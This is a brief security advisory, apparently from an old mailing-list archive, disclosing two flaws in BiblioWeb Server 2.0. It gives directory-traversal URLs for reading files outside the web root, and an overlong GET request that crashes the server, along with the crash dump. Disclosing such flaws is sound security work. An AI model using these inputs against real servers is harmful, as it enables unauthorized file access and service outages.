BiblioWeb Server 2.0 - break out of web root



    BiblioWeb Server 2.0


    Joe Testa found following.  A vulnerability exists which allows  a
    remote user to break out of the web root using relative paths (ie:
    '..', '...').  A second vulnerability allows a remote attacker  to
    crash the server.

    To break out of the web root, use the following URLs:

        http://localhost/..\[file outside web root]
        http://localhost/...\[file outside web root]

    To crash the server, telnet to port 80, and send:

        GET /[a lot of 'A's]

    The server crashes with the following dump:

        BIBLIOWEB caused an invalid page fault in
        module BIBLIOWEB.EXE at 017f:004069fd.
